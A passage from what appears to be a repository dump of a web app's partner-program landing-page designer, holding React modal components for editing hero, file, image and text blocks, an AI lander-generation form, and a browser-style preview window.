placeholder={`Share ${program?.name} with your audience and for each subscription generated through your referral, you'll earn a share of the revenue on any plans they purchase.`}\n                className=\"block max-h-32 min-h-16 w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n                {...register(\"landerData.description\")}\n              />\n            </div>\n          </div>\n        </div>\n\n        <div className=\"mt-4 flex items-center justify-end gap-2\">\n          <Button\n            type=\"button\"\n            variant=\"secondary\"\n            text=\"Cancel\"\n            className=\"h-9 w-fit\"\n            onClick={() => setShowEditHeroModal(false)}\n          />\n          <Button\n            type=\"submit\"\n            variant=\"primary\"\n            text=\"Save\"\n            className=\"h-9 w-fit\"\n            disabled={!isDirty}\n          />\n        </div>\n      </form>\n    </>\n  );\n}\n\nexport function useEditHeroModal() {\n  const [showEditHeroModal, setShowEditHeroModal] = useState(false);\n\n  const EditHeroModalCallback = useCallback(() => {\n    return (\n      <EditHeroModal\n        showEditHeroModal={showEditHeroModal}\n        setShowEditHeroModal={setShowEditHeroModal}\n      />\n    );\n  }, [showEditHeroModal, setShowEditHeroModal]);\n\n  return useMemo(\n    () => ({\n      setShowEditHeroModal,\n      EditHeroModal: EditHeroModalCallback,\n    }),\n    [setShowEditHeroModal, EditHeroModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/groups/design/lander/modals/files-block-modal.tsx",
    "content": "\"use client\";\n\nimport { programLanderFilesBlockSchema } from \"@/lib/zod/schemas/program-lander\";\nimport {\n  Button,\n  CircleWarning,\n  Modal,\n  useMediaQuery,\n  useScrollProgress,\n} from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { Dispatch, SetStateAction, useId, useRef } from \"react\";\nimport { FormProvider, useForm } from \"react-hook-form\";\nimport { v4 as uuid } from \"uuid\";\nimport * as z from \"zod/v4\";\nimport { EditList, ExpandableEditListItem } from \"../../edit-list\";\n\ntype FilesBlockData = z.infer<typeof programLanderFilesBlockSchema>[\"data\"];\n\ntype FilesBlockModalProps = {\n  showModal: boolean;\n  setShowModal: Dispatch<SetStateAction<boolean>>;\n  defaultValues?: Partial<FilesBlockData>;\n  onSubmit: (data: FilesBlockData) => void;\n};\n\nexport function FilesBlockModal(props: FilesBlockModalProps) {\n  return (\n    <Modal\n      showModal={props.showModal}\n      setShowModal={props.setShowModal}\n      className=\"\"\n    >\n      <FilesBlockModalInner {...props} />\n    </Modal>\n  );\n}\n\nfunction FilesBlockModalInner({\n  setShowModal,\n  onSubmit,\n  defaultValues,\n}: FilesBlockModalProps) {\n  const id = useId();\n  const { isMobile } = useMediaQuery();\n  const form = useForm<FilesBlockData>({\n    defaultValues: defaultValues ?? {\n      title: \"\",\n      items: [\n        {\n          id: uuid(),\n          name: \"File 1\",\n          description: \"\",\n          url: \"\",\n        },\n      ],\n    },\n  });\n\n  const {\n    handleSubmit,\n    register,\n    watch,\n    setValue,\n    formState: { errors },\n  } = form;\n\n  const fields = watch(\"items\");\n\n  const scrollRef = useRef<HTMLDivElement>(null);\n  const { scrollProgress, updateScrollProgress } = useScrollProgress(scrollRef);\n\n  return (\n    <FormProvider {...form}>\n      <div className=\"p-4 pt-3\">\n        <h3 className=\"text-base font-semibold leading-6 text-neutral-800\">\n          {defaultValues ? \"Edit\" : \"Add\"} Files\n        </h3>\n        <form\n          className=\"mt-4 flex flex-col gap-6\"\n          onSubmit={(e) => {\n            e.stopPropagation();\n            handleSubmit(async (data) => {\n              setShowModal(false);\n              onSubmit(data);\n            })(e);\n          }}\n        >\n          {/* Title */}\n          <div>\n            <label\n              htmlFor={`${id}-title`}\n              className=\"flex items-center gap-2 text-sm font-medium text-neutral-700\"\n            >\n              Section heading\n            </label>\n            <div className=\"mt-2 rounded-md shadow-sm\">\n              <input\n                id={`${id}-title`}\n                type=\"text\"\n                placeholder=\"Title\"\n                autoFocus={!isMobile}\n                className=\"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n                {...register(\"title\")}\n              />\n            </div>\n          </div>\n\n          <div className=\"relative -my-2\">\n            <div\n              ref={scrollRef}\n              onScroll={updateScrollProgress}\n              className=\"scrollbar-hide relative max-h-[calc(100vh-300px)] overflow-y-auto py-2\"\n            >\n              <EditList\n                values={fields.map(({ id }) => id)}\n                onAdd={() => {\n                  const id = uuid();\n\n                  setValue(\n                    \"items\",\n                    [\n                      ...fields,\n                      {\n                        id,\n                        name: `File ${fields.length + 1}`,\n                        description: \"\",\n                        url: \"\",\n                      },\n                    ],\n                    { shouldDirty: true },\n                  );\n\n                  return id;\n                }}\n                onReorder={(updated) =>\n                  setValue(\n                    \"items\",\n                    updated.map((id) => fields.find((f) => f.id === id)!),\n                    { shouldDirty: true },\n                  )\n                }\n              >\n                {fields.map((field, index) => {\n                  const fieldErrors = errors.items?.[index];\n\n                  return (\n                    <ExpandableEditListItem\n                      key={field.id}\n                      value={field.id}\n                      title={\n                        <span className=\"flex items-center gap-2\">\n                          {field.name || \"File\"}\n                          {(fieldErrors?.url || fieldErrors?.name) && (\n                            <CircleWarning className=\"size-3.5 text-red-600\" />\n                          )}\n                        </span>\n                      }\n                      onRemove={\n                        fields.length > 1\n                          ? () =>\n                              setValue(\n                                \"items\",\n                                fields.filter(({ id }) => id !== field.id),\n                                { shouldDirty: true },\n                              )\n                          : undefined\n                      }\n                    >\n                      <div className=\"flex flex-col gap-6\">\n                        {/* Name */}\n                        <div>\n                          <label\n                            htmlFor={`${id}-${field.id}-name`}\n                            className=\"flex items-center gap-2 text-sm font-medium text-neutral-700\"\n                          >\n                            Display name\n                          </label>\n                          <div className=\"mt-2 rounded-md shadow-sm\">\n                            <input\n                              id={`${id}-${field.id}-name`}\n                              type=\"text\"\n                              placeholder=\"Brand assets\"\n                              className={cn(\n                                \"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\",\n                                fieldErrors?.name &&\n                                  \"border-red-600 focus:border-red-500 focus:ring-red-600\",\n                              )}\n                              {...register(`items.${index}.name`, {\n                                required: \"Display name is required\",\n                              })}\n                            />\n                          </div>\n                        </div>\n\n                        {/* URL */}\n                        <div>\n                          <label\n                            htmlFor={`${id}-${field.id}-url`}\n                            className=\"flex items-center gap-2 text-sm font-medium text-neutral-700\"\n                          >\n                            File URL\n                          </label>\n                          <div className=\"mt-2 rounded-md shadow-sm\">\n                            <input\n                              id={`${id}-${field.id}-url`}\n                              type=\"text\"\n                              placeholder=\"https://example.com/file.pdf\"\n                              className={cn(\n                                \"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\",\n                                fieldErrors?.url &&\n                                  \"border-red-600 focus:border-red-500 focus:ring-red-600\",\n                              )}\n                              {...register(`items.${index}.url`, {\n                                required: \"File URL is required\",\n                              })}\n                            />\n                          </div>\n                        </div>\n\n                        {/* Description */}\n                        <div>\n                          <label\n                            htmlFor={`${id}-${field.id}-description`}\n                            className=\"flex items-center gap-2 text-sm font-medium text-neutral-700\"\n                          >\n                            Description\n                          </label>\n                          <div className=\"mt-2 rounded-md shadow-sm\">\n                            <textarea\n                              id={`${id}-${field.id}-description`}\n                              rows={2}\n                              maxLength={240}\n                              placeholder=\"More information about the file\"\n                              className=\"block max-h-32 min-h-10 w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n                              {...register(`items.${index}.description`)}\n                            />\n                          </div>\n                        </div>\n                      </div>\n                    </ExpandableEditListItem>\n                  );\n                })}\n              </EditList>\n            </div>\n\n            {/* Bottom scroll fade */}\n            <div\n              className=\"pointer-events-none absolute bottom-0 left-0 hidden h-16 w-full bg-gradient-to-t from-white sm:block\"\n              style={{ opacity: 1 - Math.pow(scrollProgress, 2) }}\n            />\n          </div>\n\n          <div className=\"flex items-center justify-end gap-2\">\n            <Button\n              onClick={() => setShowModal(false)}\n              variant=\"secondary\"\n              text=\"Cancel\"\n              className=\"h-8 w-fit px-3\"\n            />\n            <Button\n              type=\"submit\"\n              variant=\"primary\"\n              text={defaultValues ? \"Update\" : \"Add\"}\n              className=\"h-8 w-fit px-3\"\n            />\n          </div>\n        </form>\n      </div>\n    </FormProvider>\n  );\n}\n\nexport function FilesBlockThumbnail() {\n  const id = useId();\n\n  return (\n    <svg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      width=\"168\"\n      height=\"100\"\n      fill=\"none\"\n      viewBox=\"0 0 168 100\"\n      className=\"h-auto w-full\"\n    >\n      <g clipPath={`url(#${id}-a)`}>\n        <path\n          fill=\"#fff\"\n          d=\"M26.27 30.595H181.5v39.811H26.27a4.77 4.77 0 0 1-4.77-4.77v-30.27a4.77 4.77 0 0 1 4.77-4.771\"\n        />\n        <path\n          stroke=\"#E5E5E5\"\n          d=\"M26.27 30.595H181.5v39.811H26.27a4.77 4.77 0 0 1-4.77-4.77v-30.27a4.77 4.77 0 0 1 4.77-4.771Z\"\n        />\n        <path\n          stroke=\"#E5E5E5\"\n          strokeWidth=\"0.659\"\n          d=\"M32.859 39.63h14.493a3.624 3.624 0 0 1 3.623 3.624v14.493a3.623 3.623 0 0 1-3.623 3.623H32.859a3.624 3.624 0 0 1-3.624-3.623V43.254a3.624 3.624 0 0 1 3.624-3.624Z\"\n        />\n        <path\n          fill=\"#000\"\n          d=\"M48.105 50.5a7.905 7.905 0 0 0-15.81 0 7.905 7.905 0 0 0 15.81 0\"\n        />\n        <circle\n          cx=\"1.854\"\n          cy=\"1.854\"\n          r=\"1.854\"\n          fill=\"#fff\"\n          transform=\"matrix(-1 0 0 1 44.718 50.145)\"\n        />\n        <path fill=\"#fff\" d=\"M42.046 46.503H38.73l-3.154 7.35h3.317z\" />\n        <text\n          xmlSpace=\"preserve\"\n          fill=\"#262626\"\n          fontSize=\"9.223\"\n          fontWeight=\"500\"\n          letterSpacing=\"-.02em\"\n          style={{ whiteSpace: \"pre\" }}\n        >\n          <tspan x=\"61.845\" y=\"47.942\">\n            Primary logo\n          </tspan>\n        </text>\n        <text\n          xmlSpace=\"preserve\"\n          fill=\"#737373\"\n          fontSize=\"7.906\"\n          letterSpacing=\"-.02em\"\n          style={{ whiteSpace: \"pre\" }}\n        >\n          <tspan x=\"61.845\" y=\"60.145\">\n            SVG\n          </tspan>\n        </text>\n      </g>\n      <defs>\n        <clipPath id={`${id}-a`}>\n          <path fill=\"#fff\" d=\"M0 0h168v100H0z\" />\n        </clipPath>\n      </defs>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/groups/design/lander/modals/generate-lander-modal.tsx",
    "content": "import useProgram from \"@/lib/swr/use-program\";\nimport { ProgramLanderData } from \"@/lib/types\";\nimport { Button, Modal, useEnterSubmit, useMediaQuery } from \"@dub/ui\";\nimport { Dispatch, SetStateAction } from \"react\";\nimport { useForm } from \"react-hook-form\";\n\ntype GenerateLanderFormData = {\n  websiteUrl: string;\n  prompt?: string;\n};\n\ntype GenerateLanderModalProps = {\n  showGenerateLanderModal: boolean;\n  setShowGenerateLanderModal: Dispatch<SetStateAction<boolean>>;\n  onGenerate: (data: GenerateLanderFormData) => void;\n  landerData?: ProgramLanderData;\n};\n\nexport function GenerateLanderModal(props: GenerateLanderModalProps) {\n  return (\n    <Modal\n      showModal={props.showGenerateLanderModal}\n      setShowModal={props.setShowGenerateLanderModal}\n    >\n      <GenerateLanderModalInner {...props} />\n    </Modal>\n  );\n}\n\nfunction GenerateLanderModalInner({\n  setShowGenerateLanderModal,\n  onGenerate,\n  landerData,\n}: GenerateLanderModalProps) {\n  const { isMobile } = useMediaQuery();\n  const { program } = useProgram();\n\n  const {\n    register,\n    handleSubmit,\n    formState: { isSubmitting, isSubmitSuccessful },\n  } = useForm<GenerateLanderFormData>({\n    defaultValues: {\n      websiteUrl: program?.url ?? \"\",\n      prompt: \"\",\n    },\n  });\n\n  const { handleKeyDown } = useEnterSubmit();\n\n  const updating = !!landerData?.blocks.length;\n\n  return (\n    <>\n      <form\n        className=\"p-4 pt-3\"\n        onSubmit={(e) => {\n          e.stopPropagation();\n          handleSubmit(async ({ websiteUrl, prompt }) => {\n            setShowGenerateLanderModal(false);\n            onGenerate({ websiteUrl, prompt });\n          })(e);\n        }}\n      >\n        <h3 className=\"text-base font-semibold leading-6 text-neutral-800\">\n          {updating\n            ? \"Generate landing page content\"\n            : \"Generate a new landing page\"}\n        </h3>\n        <p className=\"text-content-subtle mt-2 text-sm\">\n          {updating\n            ? \"We'll use AI to update your program's landing page, based on content from your own website.\"\n            : \"We'll use AI to generate a new landing page for your program, based on content from your own website.\"}\n        </p>\n\n        <div className=\"mt-4 flex flex-col gap-6\">\n          {/* Title */}\n          <label>\n            <span className=\"block text-sm font-medium text-neutral-700\">\n              Website URL\n            </span>\n            <div className=\"mt-2 rounded-md shadow-sm\">\n              <input\n                type=\"text\"\n                placeholder=\"https://dub.co\"\n                autoFocus={!isMobile}\n                className=\"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n                {...register(\"websiteUrl\")}\n              />\n            </div>\n          </label>\n\n          {/* Instructions */}\n          {updating && (\n            <label>\n              <span className=\"block text-sm font-medium text-neutral-700\">\n                Instructions (optional)\n              </span>\n              <div className=\"mt-2 rounded-md shadow-sm\">\n                <textarea\n                  placeholder=\"Any additional instructions for the AI\"\n                  rows={2}\n                  className=\"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n                  onKeyDown={handleKeyDown}\n                  {...register(\"prompt\")}\n                />\n              </div>\n            </label>\n          )}\n        </div>\n\n        <div className=\"mt-4 flex items-center justify-end gap-2\">\n          <Button\n            type=\"button\"\n            variant=\"secondary\"\n            text=\"Cancel\"\n            className=\"h-9 w-fit\"\n            onClick={() => setShowGenerateLanderModal(false)}\n          />\n          <Button\n            type=\"submit\"\n            variant=\"primary\"\n            loading={isSubmitting || isSubmitSuccessful}\n            text=\"Generate\"\n            className=\"h-9 w-fit\"\n          />\n        </div>\n      </form>\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/groups/design/lander/modals/image-block-modal.tsx",
    "content": "import { uploadLanderImageAction } from \"@/lib/actions/partners/upload-lander-image\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { programLanderImageBlockSchema } from \"@/lib/zod/schemas/program-lander\";\nimport { Button, FileUpload, Modal } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport { Dispatch, SetStateAction, useId, useState } from \"react\";\nimport { Controller, useForm } from \"react-hook-form\";\nimport { toast } from \"sonner\";\nimport * as z from \"zod/v4\";\n\ntype ImageBlockFormData = z.infer<typeof programLanderImageBlockSchema>[\"data\"];\n\ntype ImageBlockModalProps = {\n  showModal: boolean;\n  setShowModal: Dispatch<SetStateAction<boolean>>;\n  defaultValues?: Partial<ImageBlockFormData>;\n  onSubmit: (data: ImageBlockFormData) => void;\n};\n\nexport function ImageBlockModal(props: ImageBlockModalProps) {\n  return (\n    <Modal showModal={props.showModal} setShowModal={props.setShowModal}>\n      <ImageBlockModalInner {...props} />\n    </Modal>\n  );\n}\n\nfunction ImageBlockModalInner({\n  setShowModal,\n  onSubmit,\n  defaultValues,\n}: ImageBlockModalProps) {\n  const id = useId();\n\n  const { id: workspaceId, defaultProgramId } = useWorkspace();\n\n  const {\n    handleSubmit,\n    register,\n    control,\n    setValue,\n    formState: { errors, isSubmitting, isSubmitSuccessful },\n  } = useForm<ImageBlockFormData>({\n    defaultValues,\n  });\n\n  const [isUploading, setIsUploading] = useState(false);\n\n  const { executeAsync } = useAction(uploadLanderImageAction);\n\n  // Handle logo upload\n  const handleUpload = async (file: File) => {\n    setIsUploading(true);\n\n    try {\n      const result = await executeAsync({\n        workspaceId: workspaceId!,\n      });\n\n      if (!result?.data) throw new Error(\"Failed to get signed upload URL\");\n\n      const { signedUrl, destinationUrl } = result.data;\n\n      const uploadResponse = await fetch(signedUrl, {\n        method: \"PUT\",\n        body: file,\n        headers: {\n          \"Content-Type\": file.type,\n          \"Content-Length\": file.size.toString(),\n        },\n      });\n\n      if (!uploadResponse.ok) throw new Error(\"Failed to upload to signed URL\");\n\n      setValue(\"url\", destinationUrl, { shouldDirty: true });\n    } catch (e) {\n      toast.error(\"Failed to upload image\");\n      console.error(\"Failed to upload image\", e);\n    } finally {\n      setIsUploading(false);\n    }\n  };\n\n  return (\n    <>\n      <div className=\"p-4 pt-3\">\n        <h3 className=\"text-base font-semibold leading-6 text-neutral-800\">\n          {defaultValues ? \"Edit\" : \"Add\"} image\n        </h3>\n        <form\n          className=\"mt-4 flex flex-col gap-6\"\n          onSubmit={(e) => {\n            e.stopPropagation();\n            handleSubmit(async (data) => {\n              setShowModal(false);\n\n              // Try to get the image dimensions\n              try {\n                const [width, height] = await new Promise<[number, number]>(\n                  (resolve, reject) => {\n                    const image = new Image();\n                    image.src = data.url;\n                    image.onload = () => resolve([image.width, image.height]);\n                    image.onerror = () => reject();\n                  },\n                );\n\n                data.width = width;\n                data.height = height;\n              } catch (e) {\n                console.error(\"Failed to get image dimensions for\", data.url);\n              }\n\n              onSubmit(data);\n            })(e);\n          }}\n        >\n          <div>\n            <label\n              htmlFor=\"logo-file\"\n              className=\"mb-2 block text-sm font-medium text-neutral-700\"\n            >\n              Image\n            </label>\n            <Controller\n              control={control}\n              name=\"url\"\n              rules={{ required: true }}\n              render={({ field }) => (\n                <FileUpload\n                  accept=\"programResourceImages\"\n                  className={cn(\n                    \"aspect-[4.2] w-full rounded-md border border-neutral-300\",\n                    errors.url && \"border-red-300 ring-1 ring-red-500\",\n                  )}\n                  iconClassName=\"size-5\"\n                  previewClassName=\"object-contain\"\n                  variant=\"plain\"\n                  imageSrc={field.value}\n                  readFile\n                  loading={isUploading}\n                  onChange={({ file }) => handleUpload(file)}\n                  content=\"SVG, JPG, PNG, or WEBP, max size of 5MB\"\n                  maxFileSizeMB={5}\n                />\n              )}\n            />\n            {errors.url && (\n              <p className=\"mt-1 text-xs text-red-600\">{errors.url.message}</p>\n            )}\n          </div>\n\n          <div>\n            <label\n              htmlFor={`${id}-alt`}\n              className=\"mb-2 block text-sm font-medium text-neutral-700\"\n            >\n              Alt text\n            </label>\n            <input\n              id={`${id}-alt`}\n              type=\"text\"\n              className=\"block w-full rounded-md border-neutral-300 shadow-sm focus:border-neutral-500 focus:ring-neutral-500 sm:text-sm\"\n              {...register(\"alt\")}\n            />\n          </div>\n\n          <div className=\"flex items-center justify-end gap-2\">\n            <Button\n              onClick={() => setShowModal(false)}\n              variant=\"secondary\"\n              text=\"Cancel\"\n              className=\"h-8 w-fit px-3\"\n            />\n            <Button\n              type=\"submit\"\n              variant=\"primary\"\n              text={defaultValues ? \"Update\" : \"Add\"}\n              className=\"h-8 w-fit px-3\"\n              disabled={isUploading}\n              loading={isSubmitting || isSubmitSuccessful}\n            />\n          </div>\n        </form>\n      </div>\n    </>\n  );\n}\n\nexport function ImageBlockThumbnail() {\n  return (\n    <div className=\"relative aspect-[4/3] w-1/2 overflow-hidden rounded\">\n      <img\n        src=\"https://assets.dub.co/misc/fun-thumbnail.jpg\"\n        className=\"object-cover\"\n      />\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/groups/design/lander/modals/text-block-modal.tsx",
    "content": "\"use client\";\n\nimport { programLanderTextBlockSchema } from \"@/lib/zod/schemas/program-lander\";\nimport {\n  Button,\n  MarkdownIcon,\n  Modal,\n  useEnterSubmit,\n  useMediaQuery,\n} from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { Dispatch, SetStateAction, useId } from \"react\";\nimport { useForm } from \"react-hook-form\";\nimport * as z from \"zod/v4\";\n\ntype TextBlockData = z.infer<typeof programLanderTextBlockSchema>[\"data\"];\n\ntype TextBlockModalProps = {\n  showModal: boolean;\n  setShowModal: Dispatch<SetStateAction<boolean>>;\n  defaultValues?: Partial<TextBlockData>;\n  onSubmit: (data: TextBlockData) => void;\n};\n\nexport function TextBlockModal(props: TextBlockModalProps) {\n  return (\n    <Modal showModal={props.showModal} setShowModal={props.setShowModal}>\n      <TextBlockModalInner {...props} />\n    </Modal>\n  );\n}\n\nfunction TextBlockModalInner({\n  setShowModal,\n  onSubmit,\n  defaultValues,\n}: TextBlockModalProps) {\n  const id = useId();\n  const { isMobile } = useMediaQuery();\n  const {\n    handleSubmit,\n    register,\n    formState: { errors },\n  } = useForm<TextBlockData>({\n    defaultValues,\n  });\n\n  const { handleKeyDown } = useEnterSubmit();\n\n  return (\n    <>\n      <div className=\"p-4 pt-3\">\n        <h3 className=\"text-base font-semibold leading-6 text-neutral-800\">\n          {defaultValues ? \"Edit\" : \"Add\"} Text\n        </h3>\n        <form\n          className=\"mt-4 flex flex-col gap-6\"\n          onSubmit={(e) => {\n            e.stopPropagation();\n            handleSubmit(async (data) => {\n              setShowModal(false);\n              onSubmit(data);\n            })(e);\n          }}\n        >\n          {/* Title */}\n          <div>\n            <label\n              htmlFor={`${id}-title`}\n              className=\"flex items-center gap-2 text-sm font-medium text-neutral-700\"\n            >\n              Section heading\n            </label>\n            <div className=\"mt-2 rounded-md shadow-sm\">\n              <input\n                id={`${id}-title`}\n                type=\"text\"\n                placeholder=\"Title\"\n                autoFocus={!isMobile}\n                className=\"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n                {...register(\"title\")}\n              />\n            </div>\n          </div>\n\n          {/* Description */}\n          <div>\n            <label\n              htmlFor={`${id}-content`}\n              className=\"flex items-center gap-2 text-sm font-medium text-neutral-700\"\n            >\n              Content\n            </label>\n            <div className=\"mt-2 rounded-md shadow-sm\">\n              <textarea\n                id={`${id}-content`}\n                rows={12}\n                maxLength={10000}\n                onKeyDown={handleKeyDown}\n                placeholder=\"Start typing...\"\n                className={cn(\n                  \"block max-h-64 min-h-16 w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\",\n                  errors.content &&\n                    \"border-red-600 focus:border-red-500 focus:ring-red-600\",\n                )}\n                {...register(\"content\", { required: \"Content is required\" })}\n              />\n            </div>\n            <a\n              href=\"https://www.markdownguide.org/basic-syntax/\"\n              target=\"_blank\"\n              rel=\"noopener noreferrer\"\n              className=\"text-content-subtle mt-1 flex items-center gap-1 text-xs\"\n            >\n              <MarkdownIcon role=\"presentation\" className=\"h-3 w-auto\" />\n              <span className=\"sr-only\">MarkdownIcon</span> supported\n            </a>\n          </div>\n\n          <div className=\"flex items-center justify-end gap-2\">\n            <Button\n              onClick={() => setShowModal(false)}\n              variant=\"secondary\"\n              text=\"Cancel\"\n              className=\"h-8 w-fit px-3\"\n            />\n            <Button\n              type=\"submit\"\n              variant=\"primary\"\n              text={defaultValues ? \"Update\" : \"Add\"}\n              className=\"h-8 w-fit px-3\"\n            />\n          </div>\n        </form>\n      </div>\n    </>\n  );\n}\n\nexport function TextBlockThumbnail() {\n  return (\n    <svg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      width=\"168\"\n      height=\"100\"\n      fill=\"none\"\n      viewBox=\"0 0 168 100\"\n      className=\"h-auto w-full\"\n    >\n      <path fill=\"#D9D9D9\" d=\"M34 43h2v14h-2z\"></path>\n      <text\n        xmlSpace=\"preserve\"\n        fill=\"#262626\"\n        fontSize=\"13\"\n        style={{ whiteSpace: \"pre\" }}\n      >\n        <tspan x=\"40\" y=\"54.727\">\n          About Acme\n        </tspan>\n      </text>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/groups/design/preview-window.tsx",
    "content": "import { buttonVariants, Copy, useCopyToClipboard } from \"@dub/ui\";\nimport { cn, getPrettyUrl } from \"@dub/utils\";\nimport { ArrowUpRight } from \"lucide-react\";\nimport Link from \"next/link\";\nimport { PropsWithChildren, ReactNode, RefObject } from \"react\";\nimport { toast } from \"sonner\";\n\nexport function PreviewWindow({\n  url,\n  scrollRef,\n  showViewButton = true,\n  className,\n  contentClassName,\n  overlay,\n  controls,\n  children,\n}: PropsWithChildren<{\n  url: string;\n  scrollRef?: RefObject<HTMLDivElement | null>;\n  showViewButton?: boolean;\n  className?: string;\n  contentClassName?: string;\n  overlay?: ReactNode;\n  controls?: ReactNode;\n}>) {\n  const [_, copyToClipboard] = useCopyToClipboard();\n\n  return (\n    <div\n      className={cn(\n        \"relative flex size-full flex-col overflow-hidden rounded-t-xl border-x border-t border-neutral-200 bg-white shadow-md\",\n        className,\n      )}\n    >\n      <div className=\"flex items-center justify-between gap-2 border-b border-neutral-200 bg-white px-4 py-2.5\">\n        <div className=\"hidden grow basis-0 items-center gap-2 sm:flex\">\n          {[...Array(3)].map((_, idx) => (\n            <div\n              key={idx}\n              className=\"size-2 rounded-full border border-neutral-300 bg-neutral-200\"\n            />\n          ))}\n        </div>\n        <button\n          type=\"button\"\n          onClick={() =>\n            copyToClipboard(url, {\n              onSuccess: () => {\n                toast.success(\"Copied to clipboard\");\n              },\n            })\n          }\n          className=\"group flex min-w-0 max-w-xs grow items-center justify-center rounded-lg bg-neutral-100 px-4 py-1.5\"\n        >\n          <div className=\"relative min-w-0\">\n            <span className=\"text-content-emphasis block truncate text-xs font-medium\">\n              {getPrettyUrl(url)}\n            </span>\n            <div className=\"absolute inset-y-0 left-full ml-1 flex translate-y-0.5 items-center opacity-0 transition-[opacity,transform] duration-100 group-hover:translate-y-0 group-hover:opacity-100\">\n              <Copy className=\"size-3\" />\n            </div>\n          </div>\n        </button>\n        <div className=\"flex grow basis-0 justify-end gap-2\">\n          {controls}\n          {showViewButton && (\n            <Link\n              href={url}\n              target=\"_blank\"\n              className={cn(\n                buttonVariants({ variant: \"secondary\" }),\n                \"flex h-7 w-fit items-center gap-1 rounded-md border px-2 text-sm\",\n              )}\n            >\n              View\n              <ArrowUpRight className=\"size-3\" />\n            </Link>\n          )}\n        </div>\n      </div>\n      <div className=\"relative z-0 grow overflow-hidden\">\n        <div\n          className={cn(\n            \"scrollbar-hide @container relative size-full overflow-y-auto\",\n            contentClassName,\n          )}\n          ref={scrollRef}\n        >\n          {children}\n        </div>\n        {overlay}\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/groups/design/previews/application-preview.tsx",
    "content": "\"use client\";\n\nimport { getGroupRewardsAndDiscount } from \"@/lib/partners/get-group-rewards-and-discount\";\nimport { GroupWithProgramProps, ProgramApplicationFormData } from \"@/lib/types\";\nimport { PreviewWindow } from \"@/ui/partners/groups/design/preview-window\";\nimport { LanderRewards } from \"@/ui/partners/lander/lander-rewards\";\nimport {\n  Button,\n  CircleInfo,\n  Grid,\n  LoadingSpinner,\n  Pen2,\n  Plus2,\n  Tooltip,\n  Trash,\n  useMediaQuery,\n  useScroll,\n  Wordmark,\n} from \"@dub/ui\";\nimport { cn, PARTNERS_DOMAIN } from \"@dub/utils\";\nimport { ArrowDown, ArrowUp } from \"lucide-react\";\nimport {\n  CSSProperties,\n  PropsWithChildren,\n  useCallback,\n  useMemo,\n  useRef,\n  useState,\n} from \"react\";\nimport { useWatch } from \"react-hook-form\";\nimport { ApplicationFormHero } from \"../application-form/application-hero-preview\";\nimport { ProgramApplicationFormField } from \"../application-form/fields\";\nimport {\n  AddFieldModal,\n  DESIGNER_FIELDS,\n} from \"../application-form/modals/add-field-modal\";\nimport { useEditApplicationHeroModal } from \"../application-form/modals/edit-application-hero-modal\";\nimport ProgramTermsPreview from \"../application-form/program-terms-preview\";\nimport RequiredFieldsPreview from \"../application-form/required-fields-preview\";\nimport { useBrandingFormContext } from \"../branding-form\";\n\nexport function ApplicationPreview({\n  group,\n}: {\n  group: GroupWithProgramProps;\n}) {\n  const { isMobile } = useMediaQuery();\n\n  const scrollRef = useRef<HTMLDivElement>(null);\n  const scrolled = useScroll(0, { container: scrollRef });\n\n  const { rewards, discount } = getGroupRewardsAndDiscount(group);\n\n  const program = group.program;\n\n  const { setValue, getValues } = useBrandingFormContext();\n  const { applicationFormData, brandColor, logo, wordmark } = {\n    ...useWatch(),\n    ...getValues(),\n  };\n\n  const updateFields = useCallback(\n    (\n      fn: (\n        fields: ProgramApplicationFormData[\"fields\"],\n      ) => ProgramApplicationFormData[\"fields\"],\n    ) => {\n      return setValue(\n        \"applicationFormData\",\n        {\n          ...applicationFormData,\n          fields: fn([...applicationFormData.fields]),\n        },\n        {\n          shouldDirty: true,\n        },\n      );\n    },\n    [applicationFormData],\n  );\n\n  const { setShowEditApplicationHeroModal, EditApplicationHeroModal } =\n    useEditApplicationHeroModal();\n\n  const [addFieldIndex, setAddFieldIndex] = useState<number | null>(null);\n  const [editingFieldId, setEditingFieldId] = useState<string | null>(null);\n\n  const [editingField, editingFieldMeta] = useMemo(() => {\n    if (!editingFieldId) return [null, null];\n\n    const field = applicationFormData.fields.find(\n      (field) => field.id === editingFieldId,\n    );\n\n    return [field, DESIGNER_FIELDS.find((b) => b.id === field?.type)];\n  }, [applicationFormData, editingFieldId]);\n\n  const [touchedFieldId, setTouchedFieldId] = useState<\n    string | \"hero\" | \"rewards\" | null\n  >(null);\n\n  const fields = applicationFormData?.fields || [];\n\n  const previewUrl =\n    group.slug === \"default\"\n      ? `${PARTNERS_DOMAIN}/${program.slug}/apply`\n      : 